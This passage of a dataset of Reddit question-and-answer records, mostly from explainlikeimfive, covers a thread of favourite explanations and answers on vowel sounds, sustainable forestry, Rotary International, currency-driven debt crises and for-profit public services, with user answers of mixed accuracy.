mean:\n\n* correct;\n\n* cited; and\n\n* written at a level and elementary school kid would understand.\n\nInclusion on this list could be one of the criteria a user has to meet before they're awarded flair.", "Nominating my [explanation](_URL_0_) of Chaos Theory. First real post on here. Seemed to do fairly well.", "someone should print this into a book", "Nominating my [explanation](_URL_0_) of Chaos Theory. First real post on here. Seemed to do fairly well.", "someone should print this into a book", "This is probably the single most informative thread on Reddit.", "Not trying to promote myself, but I wrote up an explanation of the situation in Syria yesterday.  It received favorable comments, but the thread didn't take off.  I would be gratified if it could be added.  \n\n_URL_0_", "Here's a few others of mine that I thought were good as well:\n\n[Trust Funds](_URL_2_)\n\n\n[HTTP](_URL_1_)\n\n\n[Cell Phones](_URL_0_)", "Any way we can add this to the sidebar?", "A slightly dated guide... but [here's](_URL_0_) a decent guide to the galaxy I found on the internet.\n\nedit:  Wow, there's actually a NSFW bit right in the middle of the video.", "Has anyone tested these with an actual 5-year-old?  I'd be interested in seeing how it goes.  \n\nI'd try it myself but I don't have any 5-year-olds available currently.", "I read The_Cleric's debt ceiling answer, and I have to say, that was an excellent, non-political explanation. :)", "I really enjoyed this:\n\n_URL_1_\n\nand this:\n\n_URL_0_", "Could someone explain this to me like I'm 5?", "But where is the galaxy?!", "The link you gave to the Israel-Palestine Conflict is misleading. It is very important that people be able to read BOTH comments posted by nathanite to see BOTH sides of the story to live up to the No Bias rules set forth by this subreddit. As of now, the link only shows one half of a very well given answer showing both sides. ", "I thought thats what [this](_URL_0_) was for...", "Really? I agree with most of that list, but I found the Israel-Palestine Conflict link to be INCREDIBLY biased.\n\n[This one is at least slightly less biased](_URL_0_)", "This should be compiled (after a year of useful information), and sold as an introductory book to the modern world, with all profits going towards a kids' reading charity. I wouldn't mind heading such a project if there seems to be enough interest. We could utilize the talents from all subreddits and mass-collaborate to make this happen. Ex- proofreading can be done on /r/proofread, we can utilize art from /r/art or /r/design for covers and visual explanations. ", "Please include more of these as the /r/elif grows. Shit, this should be subreddit of it's own. /r/thisweekinelif\n\nI made it, if anyone is interested. /r/thisweekinelif", "Posting in an epic thread.  Get off my /b/.  Etc.", "Self promotion again.  Here are my contributions that either did well, I think are good, or both:\n\n[ISPs](_URL_4_)\n\n[Buffer Overruns](_URL_2_)\n\n[Net Neutrality](_URL_0_)\n\n[Health Care Reform](_URL_1_)\n\n[Islamism](_URL_3_)\n\n[The Phone Hacking Scandal](_URL_5_)\n\n[JFK Assassination Conspiracies](_URL_7_)\n\n[Stock Market Indices](_URL_6_)\n\n\n\n\n\n", "Self promotion:\n\nWhy to install antivirus and firewall, or what I say is why to fight viruses\n_URL_1_\nIt's a bit long, but the point is that any 5 year old prolly would understand why they should defend against viruses after that.\n\nWhat Linux is and how it differs from Windows and OS X\n_URL_0_\nOther people agreed.", "Guide to the Galaxy where you only talk about Earth....  Anyone else confused by this?", "I came here looking for information about planetary movements, black-holes, stars, etc.  Downvote for misleading title.", "[Academics Explaining their Theses LI5](_URL_0_)\n\nThis is full of a lot of really interesting information that you would normally never think of nor think to ask because it's so specialized.  But now, everyone can know!", "Libertarianism is a little more than economics.", "I would pay real, American dollars for this gem.", "Anybody want to create a google document, or a pdf with these in it for ebook?"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/j4xq2/what_is_fire_and_how_does_it_work/c296fsm", "http://www.reddit.com/r/explainlikeimfive/comments/j2epj/could_someone_please_explain_wikileaks/c28lbyd", "http://www.reddit.com/r/explainlikeimfive/comments/j8ouq/what_is_the_space_time_continuum/c2a323k", "http://www.reddit.com/r/explainlikeimfive/comments/mfswi/eli5_any_of_the_seven_millennium_prize_problems/c30me18", "http://www.reddit.com/r/explainlikeimfive/comments/j3lm1/can_anyone_explain_net_neutrality_li5/c28ut9g", "http://www.reddit.com/r/explainlikeimfive/comments/lbjt8/please_eli5_the_difference_between_baroque/c2redlf", "http://www.reddit.com/r/explainlikeimfive/comments/l7nx0/eli5_the_implication_of_cancelling_all_world_debt/c2qftxo", "http://www.reddit.com/r/explainlikeimfive/comments/jbwhm/eli5_please_confirmation_bias_strawmen_and_other/c2audbw", "http://www.reddit.com/r/explainlikeimfive/comments/meh0k/eli5_sopa/c30cyoy", "http://www.reddit.com/r/explainlikeimfive/comments/j5n06/eli5_to_me_why_cant_japan_just_print_money/c29iulv", "http://www.reddit.com/r/explainlikeimfive/comments/jhkup/eli5_base_numbers_differences_between_binary_base/c2c68b8", "http://www.reddit.com/r/explainlikeimfive/comments/j2kzr/why_does_the_product_of_two_negative_numbers/c28m9mg", "http://www.reddit.com/r/explainlikeimfive/comments/j2mod/what_is_a_buffer_overflow_and_how_is_it_used_to/c28ml8a", "http://www.reddit.com/r/explainlikeimfive/comments/j2d9r/ok_heres_a_really_difficult_oneisrael_and/c28kjgl", "http://www.reddit.com/r/explainlikeimfive/comments/mfswi/eli5_any_of_the_seven_millennium_prize_problems/c31fuhy", "http://www.reddit.com/r/explainlikeimfive/comments/k4vu1/eli5_why_is_africa_so_fucked_up/c2hjhmb", "http://www.reddit.com/r/explainlikeimfive/comments/j3aa8/what_is_existentialism_it_seems_like_a_lot_of/c28tdzx", "http://www.reddit.com/r/explainlikeimfive/comments/k17fs/eli5_chaos_theory/c2gsg5c", "http://www.reddit.com/r/explainlikeimfive/comments/j6vod/eli5_what_libertarianism_is/c29s2rp", "http://www.reddit.com/r/explainlikeimfive/comments/j3541/li5what_is_going_on_with_north_korea/c28ub6s", "http://www.reddit.com/r/explainlikeimfive/comments/jauzj/explainlikeimfive_stocks_and_the_stock_market/", "http://www.reddit.com/r/explainlikeimfive/comments/j7nxt/explain_to_me_how_trust_funds_actually_work/c29u1kr", "http://www.reddit.com/r/explainlikeimfive/comments/j7t5p/eli5_the_butterfly_feeling_in_my_tummy_when_im/c29vq3r", "http://www.reddit.com/r/explainlikeimfive/comments/l5oon/eli5_what_will_happen_if_greece_defaults/c2pzzuh", "http://www.reddit.com/r/explainlikeimfive/comments/j7t7r/eli5_please_how_does_a_cell_phone_work/c29v931", "http://www.reddit.com/r/explainlikeimfive/comments/j2sxq/phone_hacking_scandalli5/c28o7hs", "http://www.reddit.com/r/explainlikeimfive/comments/j3pyb/li5_the_jfk_assassination_and_conspiracy/c28vqlw", "http://www.reddit.com/r/explainlikeimfive/comments/mfswi/eli5_any_of_the_seven_millennium_prize_problems/c30mohh", "http://www.reddit.com/r/explainlikeimfive/comments/m5xo9/what_is_the_internet/c2yczy4", "http://www.reddit.com/r/explainlikeimfive/comments/j4r5f/someone_explain_to_me_what_do_islamists_believe_in/c2956f6", "http://www.reddit.com/r/explainlikeimfive/comments/jaers/eli5_how_does_the_us_credit_rating_that_went_down/c2ah4ep", "http://www.reddit.com/r/explainlikeimfive/comments/jdm4u/eli5_lcd_vs_led_vs_plasma/c2b8psw", "http://www.reddit.com/r/explainlikeimfive/comments/j2d9r/ok_heres_a_really_difficult_oneisrael_and/c28kr95", "http://www.reddit.com/r/explainlikeimfive/comments/j48lw/li5_could_you_explain_to_me_what_linux_is_and_why/c2939mp", "http://www.reddit.com/r/explainlikeimfive/comments/j363c/can_someone_please_explain_fascism_to_me_li5/c28r7mr", "http://www.reddit.com/r/explainlikeimfive/comments/j5mz5/how_does_eink_work/c29cjss", "http://www.reddit.com/r/explainlikeimfive/comments/j67nb/eli5_nietzsche_and_his_ideas/c29jno2", "http://www.reddit.com/r/explainlikeimfive/comments/j7r9a/eli5_occams_razor/c29ux05", "http://www.reddit.com/r/explainlikeimfive/comments/j8wmr/eli5_why_is_x01/c2a4pz3", "http://www.reddit.com/r/explainlikeimfive/comments/j393m/can_someone_explain_http_like_im_five/c28rn5m", "http://www.reddit.com/r/explainlikeimfive/comments/jiwxs/eli5_how_the_reddit_frontpage_is_determined/c2cj9wy", "http://www.reddit.com/r/explainlikeimfive/comments/j8g9z/why_cant_anything_go_faster_than_the_speed_of/c2a07w3", "http://www.reddit.com/r/explainlikeimfive/comments/j9x4d/what_is_the_story_of_the_quran_like_im_five/c2aecgu", "http://www.reddit.com/r/explainlikeimfive/comments/j7qmp/li5_what_is_plasma/c29u3on", "http://www.reddit.com/r/explainlikeimfive/comments/jcoef/eli5_the_london_riots/c2b2ybx", "http://www.reddit.com/r/explainlikeimfive/comments/j3cls/a_quick_announcement_on_the_direction_of_this/c28sfib", "http://www.reddit.com/r/explainlikeimfive/comments/j2kds/how_do_isps_internet_service_providers_work/c28md31", "http://www.reddit.com/r/explainlikeimfive/comments/k7h9y/eli5_the_difference_between_jpeg_and_png/c2i2q3i", "http://www.reddit.com/r/explainlikeimfive/comments/j9md4/could_someone_explain_li5_the_catcher_in_the_rye/c2aa95m", "http://www.reddit.com/r/explainlikeimfive/comments/j2hlm/world_war_1_explain_like_im_5/c28lfex", "http://www.reddit.com/r/explainlikeimfive/comments/j3zbw/explain_to_me_li5_how_skewing_the_upvote_count/c28yrqd", "http://www.reddit.com/r/explainlikeimfive/comments/kk8v7/eli5_hashing/c2kxzx0", "http://www.reddit.com/r/explainlikeimfive/comments/j2ekw/how_did_we_go_from_binary_to_assembly_language_to/c28n0cr", "http://www.reddit.com/r/explainlikeimfive/comments/j29tx/can_someone_describe_the_debt_ceiling_to_me_like/c28k68d", "http://www.reddit.com/r/explainlikeimfive/comments/jatnn/eli5_what_are_the_differences_between_liberals/c2akw1r", "http://www.reddit.com/r/explainlikeimfive/comments/j3olf/li5_can_anyone_explain_what_medicare_is_and_how/c28vi3t", "http://www.reddit.com/r/explainlikeimfive/comments/j5vap/why_cant_we_ride_zebras_like_horses_dream_of_a/c29fouo"], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/j78ee/eli5_the_current_situation_in_syria_and_some/"], ["http://www.reddit.com/r/explainlikeimfive/comments/j7t7r/eli5_please_how_does_a_cell_phone_work/c29v931", "http://www.reddit.com/r/explainlikeimfive/comments/j393m/can_someone_explain_http_like_im_five/c28rn5m", "http://www.reddit.com/r/explainlikeimfive/comments/j7nxt/explain_to_me_how_trust_funds_actually_work/c29u1kr"], [], ["http://www.youtube.com/watch?v=buqtdpuZxvk"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j5n06/eli5_to_me_why_cant_japan_just_print_money/c29iulv", "http://www.reddit.com/r/explainlikeimfive/comments/j3541/li5what_is_going_on_with_north_korea/c28ub6s"], [], [], [], ["http://eli5.pen.io/"], ["http://www.reddit.com/r/explainlikeimfive/comments/j2d9r/ok_heres_a_really_difficult_oneisrael_and/c28kr95"], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j3lm1/can_anyone_explain_net_neutrality_li5/c28ut9g", "http://www.reddit.com/r/explainlikeimfive/comments/j3olf/li5_can_anyone_explain_what_medicare_is_and_how/c28vi3t", "http://www.reddit.com/r/explainlikeimfive/comments/j2mod/what_is_a_buffer_overflow_and_how_is_it_used_to/c28mm0h", "http://www.reddit.com/r/explainlikeimfive/comments/j4r5f/someone_explain_to_me_what_do_islamists_believe_in/c294vse", "http://www.reddit.com/r/explainlikeimfive/comments/j2kds/how_do_isps_internet_service_providers_work/c28md31", "http://www.reddit.com/r/explainlikeimfive/comments/j2sxq/phone_hacking_scandalli5/c28o7hs", "http://www.reddit.com/r/explainlikeimfive/comments/j2pun/when_the_news_talks_about_how_the_economy_is/c28ndsu", "http://www.reddit.com/r/explainlikeimfive/comments/j3pyb/li5_the_jfk_assassination_and_conspiracy/c28vqlw"], ["http://www.reddit.com/r/explainlikeimfive/comments/j48lw/li5_could_you_explain_to_me_what_linux_is_and_why/c2959ss", "http://www.reddit.com/r/explainlikeimfive/comments/j7yx7/eli5_why_should_i_install_antivirus_software_and/c29wb7h"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/jm5t8/academics_explain_your_thesis_li5/"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/jdtc3/the_issues_in_africa/", "http://www.reddit.com/r/explainlikeimfive/comments/j363c/can_someone_please_explain_fascism_to_me_li5/c28r7mr"], ["http://www.reddit.com/r/explainlikeimfive/comments/oygy3/eli5_hitlers_rise_to_power/c3l38j0"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/jdtc3/the_issues_in_africa/", "http://www.reddit.com/r/explainlikeimfive/comments/j363c/can_someone_please_explain_fascism_to_me_li5/c28r7mr"], ["http://www.reddit.com/r/explainlikeimfive/comments/k17fs/eli5_chaos_theory/c2gsg5c"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/k17fs/eli5_chaos_theory/c2gsg5c"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j78ee/eli5_the_current_situation_in_syria_and_some/"], ["http://www.reddit.com/r/explainlikeimfive/comments/j7t7r/eli5_please_how_does_a_cell_phone_work/c29v931", "http://www.reddit.com/r/explainlikeimfive/comments/j393m/can_someone_explain_http_like_im_five/c28rn5m", "http://www.reddit.com/r/explainlikeimfive/comments/j7nxt/explain_to_me_how_trust_funds_actually_work/c29u1kr"], [], ["http://www.youtube.com/watch?v=buqtdpuZxvk"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j5n06/eli5_to_me_why_cant_japan_just_print_money/c29iulv", "http://www.reddit.com/r/explainlikeimfive/comments/j3541/li5what_is_going_on_with_north_korea/c28ub6s"], [], [], [], ["http://eli5.pen.io/"], ["http://www.reddit.com/r/explainlikeimfive/comments/j2d9r/ok_heres_a_really_difficult_oneisrael_and/c28kr95"], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j3lm1/can_anyone_explain_net_neutrality_li5/c28ut9g", "http://www.reddit.com/r/explainlikeimfive/comments/j3olf/li5_can_anyone_explain_what_medicare_is_and_how/c28vi3t", "http://www.reddit.com/r/explainlikeimfive/comments/j2mod/what_is_a_buffer_overflow_and_how_is_it_used_to/c28mm0h", "http://www.reddit.com/r/explainlikeimfive/comments/j4r5f/someone_explain_to_me_what_do_islamists_believe_in/c294vse", "http://www.reddit.com/r/explainlikeimfive/comments/j2kds/how_do_isps_internet_service_providers_work/c28md31", "http://www.reddit.com/r/explainlikeimfive/comments/j2sxq/phone_hacking_scandalli5/c28o7hs", "http://www.reddit.com/r/explainlikeimfive/comments/j2pun/when_the_news_talks_about_how_the_economy_is/c28ndsu", "http://www.reddit.com/r/explainlikeimfive/comments/j3pyb/li5_the_jfk_assassination_and_conspiracy/c28vqlw"], ["http://www.reddit.com/r/explainlikeimfive/comments/j48lw/li5_could_you_explain_to_me_what_linux_is_and_why/c2959ss", "http://www.reddit.com/r/explainlikeimfive/comments/j7yx7/eli5_why_should_i_install_antivirus_software_and/c29wb7h"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/jm5t8/academics_explain_your_thesis_li5/"], [], [], []]}
{"q_id": "2f24p5", "title": "Resources describing daily life (not trench life) during WWI?", "selftext": "I'm looking for digestible sources of information about daily life in a midwestern city around 1918, but most sources seem to focus on a soldier's life, which is precisely what I don't need for this project. \n\nAnyone have any ideas?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2f24p5/resources_describing_daily_life_not_trench_life/", "answers": {"a_id": ["ck5cl6j"], "score": [2], "text": ["I was recently involved in a similar project in my city (in the UK). Literary sources on civilian life are fairly scant. I would recommend approaching the local museum or archive and seeing if they can show you any photographs/letters/artefacts from the time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8hjb3o", "title": "what is the difference between the sound \"a\" and \"e\" and \"o\" etc. make which helps us differentiate which one we hear even if they are sung at the same frequency?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hjb3o/eli5_what_is_the_difference_between_the_sound_a/", "answers": {"a_id": ["dyk6hfh", "dyk6nry", "dyk801t", "dykbk3k"], "score": [3, 2, 5, 4], "text": ["Singing isn't a sine wave output.  While there are notes, and a piano might play these notes and produce single frequency output, that's not how human singing works.  (It's not even how a piano works in detail, the piano makes a wider spectrum of sound at each note than a tuning fork of the same frequency.)  The waveform for a sung note might have a major element that's the frequency of the note, but the rest of the waveform puts energy into other parts of the audio spectrum.", "So I believe you have your word meanings messed up a little. Two different sounds do not have different wavelengths. The wavelength is basically the fingerprint for that sound. It can have a different pitch however. \n\nIf all those notes are sung at the same pitch, you can tell them apart by the wavelength. People who have been trained in music can notice the difference even at really low levels of pitch.\n\n[it\u2019s a bit more complicated than that, but that\u2019s a decent generalization I think.](_URL_0_) ", "Basically because our voices aren\u2019t just sin waves. It\u2019s a bunch of different sin waves added together. The different waves are either called undertones or overtones and when added make up the \u201ctype\u201d of sound you hear, also called the \u201ctimbre\u201d. The same thing is true with different instruments. Here\u2019s a video that contains a [demonstration](_URL_0_) of what I\u2019m talking about", "Hi! Trained phonologist here. That means I got my graduate degree in linguistics with a focus in how speech actually sounds.\n\nVowels and consonants sound different from each other because of their \"place\" of articulation. We envision front vs. back and high vs. low vowels. The \"ee\" sound in beet is a high front vowel. The \"oo\" in boot is a high back vowel. There's a bit more to it, but let's stick to basics - high, low, front, and back. \n\nYou can see many of the vowels on a chart at once. Here it is one for American English: _URL_0_ Right is front and left is back.\n\nNow, this isn't just a guess or impression! We can actually measure elements of the sound. Voices have special characteristics because of how the mouth is shaped. When you record a voice and look at the sound intensities at all the different frequencies, you get a neat set of peaks, or resonances at different frequencues. You can even look at them graphed over time, and this cool graph is called a specrogram. \n\nOur brain listens for at least 3 of these frequency resonances in speech and compares them to each other.\n\nThe lowest frequency peak is called the fundamental frequency, F0, and this is essentially pitch. Above that you get F1 which is is a resonance controlled by how high or low your tongue is in your mouth. Above that is F2 which is controlled by how forward or back your tongue is. Between the relative closeness or distance of these three resonances you can distinguish just about any vowel in any language. You can graph the vowel space for an individual, or a whole dialect group.\n\nYou can measure the F1 and F2 and plot them on a vowel chart to actually show someone's vowel space.\n\nSomething you might enjoy playing with is called the \"pink trombone\" - a speech synthesizer. By moving the tongue around, you change F1 and F2 and make different vowels. _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://method-behind-the-music.com/mechanics/physics/"], ["https://youtu.be/XPbLYD9KFAo"], ["http://clas.mq.edu.au/speech/phonetics/phonetics/vowelgraphs/USE_Monophthongs_midwst.gif", "https://dood.al/pinktrombone/"]]}
{"q_id": "cfgphd", "title": "how does sustainable forestry work?", "selftext": "Just, what is the most sustainable way of forestry that we have right now? Tree farms? Mixed-growth tree farms? What ways does society have to reduce the creation of monocultures?\n\n & #x200B;\n\nthanks", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfgphd/eli5_how_does_sustainable_forestry_work/", "answers": {"a_id": ["eu9wd1g", "eua4mzu", "euana4v"], "score": [5, 2, 2], "text": ["Tree farms tend to work pretty well. Where I live in the Southern US (Georgia) there is a large lumber industry. Everywhere you go there are free farms. Mostly long needle lines. A vast majority are planted pines.\n\nBasically a lumber company can buy out 20 tracts of land and cut one per year. Each time they cut down a tract, they plant trees equal to the number they cut down. The next year, they move to the next tract. So on and so on. By the time its year 21, that very first tract has had time to grow to the size they need and the process repeats itself. \n\nI don\u2019t know if planting a straight tract with only one species is more beneficial than mixed growth, but it does help with consistency of the lumber.", "Besides tree farms there is also what's called selective cutting. Where instead of clear cutting a chunk of forest, a lumber company sends out survey teams (usually DNR Forestry teams) to survey plots and mark trees to be cut. The lumber jacks then cut service roads and only remove marked trees so that non profit trees and fragile land isn't destroyed. The surveyors also mark trees that would harm another neighboring trees such as diseased or bad structure. That's how Wisconsin does a lot of their forestery.", "There are different types of forestry for different purposes. For some fun I added criteria for measuring the \"value\" of the forest for that purpose. Anyone have ideas on this? \n\nWant a forest for lumber? Sure then planting straight rows of similar trees, and rotating the plots can be the way to go. Diversification can be a good idea for lumber as well, especially in the long term. \nForest worth (financial) ~ growth speed * lumber quality * ease of cutting * forest size * trees per square meter\n\nWant a forest for biodiversity purposes? Then you want a forest that is as large as possible (in one piece), as Old as possible (without human intervention like cutting away some trees). \nForest worth ~ forest size * age\nForest worth of multiple plots ~ SUM(forest size * age)\n\nWant a forest for climate change mitigation or adaptation? Then it needs to be as big as possible (for CO2 absorbance), made of trees that absord a lot of CO2, and in the right location (for example, near the coast to function as a Biotic Pump, or in the desert as an oasis)\nForest worth ~ forest size * SUM(tree type * # of trees of that type) * location suitability"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3z1agc", "title": "rotary international, what's the point?", "selftext": "Why was it founded?\nWhat exactly do they do?\nWho does it really benefit?\nWho are members? Can anyone be a member? \n\nI've always seen the signs in different cities and wondered about them, I have done some research on the topic, but would appreciate first-hand/different insight. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z1agc/eli5_rotary_international_whats_the_point/", "answers": {"a_id": ["cyigf45", "cyigve0", "cyjobna"], "score": [11, 6, 2], "text": ["I'm sure you can find some of the answers to your basic questions (why it was founded, membership requirements) online; I can give you my personal experience with RI.\n\nBack in high school (wow, that was a long time ago), my mother was a member. She had done a few mission trips to hospitals in third-world countries, and had been enamored with the work that a specific hospital in India had done with orthopedic reconstruction of limb deformities in polio survivors. Polio was not 'eradicated' in India until 2014 (also through the efforts of another Rotary program: Polio Plus, which, to me, was one of the greatest humanitarian projects of the 20th century), meaning that there are hundreds of thousands of individuals that have survived polio with various musculoskeletal deformities. \n\nThis hospital had a couple of Operating Rooms with extremely old equipment. The most difficult part of orthopedic surgeries is the positioning of the patient, which is achieved by having an operating table that can conform to different shapes. Their tables were from the 1960s, and literally held together with duct tape (imagine being wheeled into your surgery and seeing equipment being held together with duct tape). \n\nThrough RI, my mom raised the requisite funds for a new operating table (something like $77,000). It mostly involved lots of begging (specifically other rotary clubs, who have funds through membership and other various fundraisers), and matching funds through RI (they would give $1.5 for every $1 you raised). It ended up taking around a year, but was a tremendously successful project and the hospital was very thankful for Rotary's donation.\n\nTLDR: Rotary is a bunch or rich people and corporations that have a set amount of money every year that they give to charity. ", "Rotary is an international organization that has its roots planted firmly in American soil.  Namely Chicago soil.  For best explanation of its history, google Rotary and go from there.  For a short explanation, Rotary was founded by 3 business men in the very early 20th century who were disgusted by the lack of morals and ethics of the business community.  The 3 would meet for a brown bag lunch in each other's offices, 'rotating turns,' hence the name Rotary.  In a very short time other men in business became interested and individual clubs began to form.  \n\nI joined about 12 years ago because I was female sole proprietor of an import/sales business and not too very well connected to the community I was living in.  My insurance agent invited me to lunch and was I pleasantly surprised to see that my account, banker, Chief of Police, neighbors, both commercial and residential, and even my Pastor were members. Didn't take long for me to join. Being able to ask about minor issues of business over lunch was a real bonus and the speakers have been exposed me to issues I'd never known about otherwise.  \n\nRotary, and through that, Rotary International has several projects which take the donations from its members and applies it to trying to do the impossible.  My favorite project is the world wide eradication of Polio.  Rotary was plugging along when I joined in 2002.  It was said then that there were only 4 nations where polio still was active.  Once the Gates Foundation came on board immunizations increased and today there are only two nations on the \"not free\" list.  From the small and large efforts of a HUGE number of people spanning the globe, great things have happened.\n\nMy small club participates in polio awareness days.  We do most of our charitable work on  a local level supporting scholarships for college bound seniors, assistance to the Red Cross for the blood drives, ringing the bell for the Salvation Army, supporting literacy drives, food banks, the Boy Scouts, and several groups who provide for various groups of handicapped people. \n\nI am pretty certain that on the Rotary website you can use the club locator and find a club near you.  They will be more than happy to have you as a guest!  ", "As for who it benefits, a local rotary club funded my robotics team's travel expenses for our trip to the world championships. All we did was apply for a grant and gave a presentation at one of their meetings afterwards. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4g7ejv", "title": "how does currency valuation lead to a debt crisis?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4g7ejv/eli5_how_does_currency_valuation_lead_to_a_debt/", "answers": {"a_id": ["d2f6y72", "d2f73l4", "d2f73yt", "d2f8bae"], "score": [24, 2, 2, 2], "text": ["Let's suppose you need to borrow some money from me. You are going to buy things in US dollars. I'm British so I only have pounds, but that's OK.\n\nI lend you \u00a31000. This today at an exchange rate of $1.44 to the pound is the equivalent of of $1440. We agree that you are going to pay me back in 10 years at an interest rate of 2% per annum, which means I am expecting you to give me \u00a31219 on the 24th April 2026. \n\nYou of course prefer to think in dollars, and when you tell your accountant how much debt you have got you write this down and budget for owing me $1755 in 10 years time.\n\nTime passes. The dollar weakens. The pound strengthens. Something happens that by late 2025, \u00a31 costs $2.50.\n\nYour accountant points out that in early 2026 you are going to need to pay me back \u00a31219, and this is now going to cost you $3048. But you had budgeted just $1755 for this, and you can't really afford the extra $1293 I'm asking for.\n\nExcept, I'm not asking for more money. I lent you \u00a31,000, and asked for \u00a31,219 in 10 years, and my demands are unchanged - it's just that currency valuation has on this occasion caused a debt crisis for you.\n\nNow, countries avoid doing this on a global scale. When they borrow money what they actually do is issue government bonds: promises to pay back in 10 years a set amount. The key trick is that they don't offer bonds in another country's currency, but rather in their own, and they do this because they are able to print more money in that currency at will.\n\nSo in the above example if I'd wanted to lend you money I would have had to have given it to you in dollars, and I would be the one carrying the \"currency risk\". At the end of the 10 years you would have repaid me $1755 and I would be the one whose money has lost value. In essence, because I owned so much foreign debt, my own net worth has lessened.\n\nBut, you haven't got away scot-free. The reason why the dollar must have weakened in this time period is because you need more of them to buy things from abroad. The dollar is worth less because in order to buy \u00a31000 worth of things, you now need to spend an extra $1293 than you used to. That means in order to buy \u00a31000 worth of things, you need to go out and borrow an extra $1293 than you would have done 10 years earlier.\n\nThe underlying cause of this is probably you printing too many dollars (silly you), and you needing to buy more things from far away than being able to sell me things I want from over there.\n\nAnd this spiral is basically what causes so many problems, what the IMF tries to police (but does so relatively badly), and why Greece was prepared to say \"fuck you\" to all the debtors who wanted to be repaid a few years ago.", "There are a number of internationally traded currencies, for example the US dollar, Euro, Swiss Franc, Japanese Yen, British Pound, etc etc. However most countries' currencies are not used in international trade, for example the Vietnamese Dong, Cambodian Riel, Malawian Kwacha, etc etc.\n\nIn the first example, a country is big/integrated/lucky enough to have an internationally traded currency, therefore it can borrow money in its own currency. When Japan borrows money it borrows Japanese Yen. If it came to the crunch Japan could simply print more Yen to pay back the debt.\n\nIn the second example, a smaller economy with a mickey mouse currency, let's say Vietnam. Nobody deals in Vietnamese Dong (VND) in international markets, so when Vietnam borrows money it must borrow something else, usually US dollars. So Vietnam uses VND but borrows in USD and if shit gets bad they cannot print USD to monetize the debt. Changes in exchange rates can hurt.\n\nSummary: Imagine you earn your salary in US dollars but you took out a mortgage in Swiss Francs. Usually you have to pay around $1000 per month to make your repayments. But now the USD weakens to half its value against the Franc, that means your repayment in Francs is the same but it takes $2000 of your salary to pay it.\n\n", "Currency represent how much the perceived value of your country (monetary union) is worth.\n\nCanada produces marple syrup and the US can't get enough of it! If USA want to buy something from Canada they better pay Canadian Dollars! For one USD you get two CAD because big daddy america produces EVERYTHING ELSE that Canada needs therefore their currency is more valuable.\n\nUSA demands more syrup to their veins and Canada are happy to oblige but need to plant more tress. USA lends Canada 10 USD to Canada - Canada convert it to 20 CAD (remember 1 USD - 2 CAD) and starts planting more trees in Quebec.\n\nBut Alas! The sneaky French burn down all the Marple Tress in Quebeec AND! the rest of Canada because thats what French people do. Now Canada isn't worth anything and the currency plummet, now 1 USD dollar is 4 CAD (instead of previous 2 CAD exchange rate) so the debt to the US that previously was 20 CAD is now 40 CAD (100% increase yikes)\n\nNow Canada with all its trees gone (which will take time to re growth) don't have any income and can't pay back US their loan. Thus they are in a debt crisis! ", "Pretend that you mow my lawn and I agree to repay you by cooking you a steak dinner.\n\nAll is going well until some point between you mowing the lawn and me cooking you the dinner, the price of steak goes through the roof due to a national shortage and I have to sell my house to repay the debt!\n\nOk crazy example. But the point is that if you borrow money and agree to repay in THEIR currency, and then the value of your own currency crashes, then you're screwed.\n\nIf I agreed to repay you by mowing your lawn instead (same currency) then we'd all be ok."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6jkzy7", "title": "in the u.s.a. why are things that are considered to be public services (hospitals, prisons) allowed to be \"for-profit\"? doesn't that create a clear conflict of interest?", "selftext": "How did this come about? How was it decided upon, by who, when, and more importantly, why? What are the implications of this and is it a problem in the United States currently?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jkzy7/eli5in_the_usa_why_are_things_that_are_considered/", "answers": {"a_id": ["djfodff"], "score": [4], "text": ["When the founding fathers created the constitution, they didnt forsee many instances where certain socioeconomic problems would arise without a governmental social aspect, they just enforced the law and court side. After hundreds of years different political parties and economic tides, the capitolistic model of the freedom of your dollar was instated. Different private instutitions arose with changing times such as healthcare, utility, resource companies and since it was commonplace and cheap nobody had to much of a problem. You could work and pay into the for profit system of many things, and if this wasnt easily doable, changes happened. (if you look in american history, when the system was getting bad numerous public protest created policy to challenge and improve these systems, ie unions, social security, etc)\n\nFast forward to now and some for profit instutions along with the decay of the economic front has led to people noticing the relativeley equal oppurtunity of prosperity in so many for profit instutions of american life has become really unequal unless you are lucky or within a certain generational group to promote you into the system thats been working for the past years of the inception of the united states in the first place.\n\nThe world has global trade, and many countries figured out if you put public ownership of some things you keep people protected and ensuring they get the services the society has advanced to, keeping this relative equal oppurtunity in place. Global trade has established relative balance from the american superpower it used to be ,where before america could keep the influx of economic prosperity allowing a for profit society. Again, it didnt use to be a conflict of interest, because the for profit instutitions made profit while still relatively providing equal service and people could relatively afford everything.\n\nThe rise of neo liberalism after the post war era of american history rode on a time of prosperity that kept america from making the changes the rest of the western world incorperated to try and make things better in the system they created for their society. This placed the NGO's in a place to make up for the degrading spread of for profit instutions of things like healthcare, utilities, and basic social technologies, things like housing, intetnet access, social nets to help fling people back into the prosperity machine american capitolism had been running for quite some 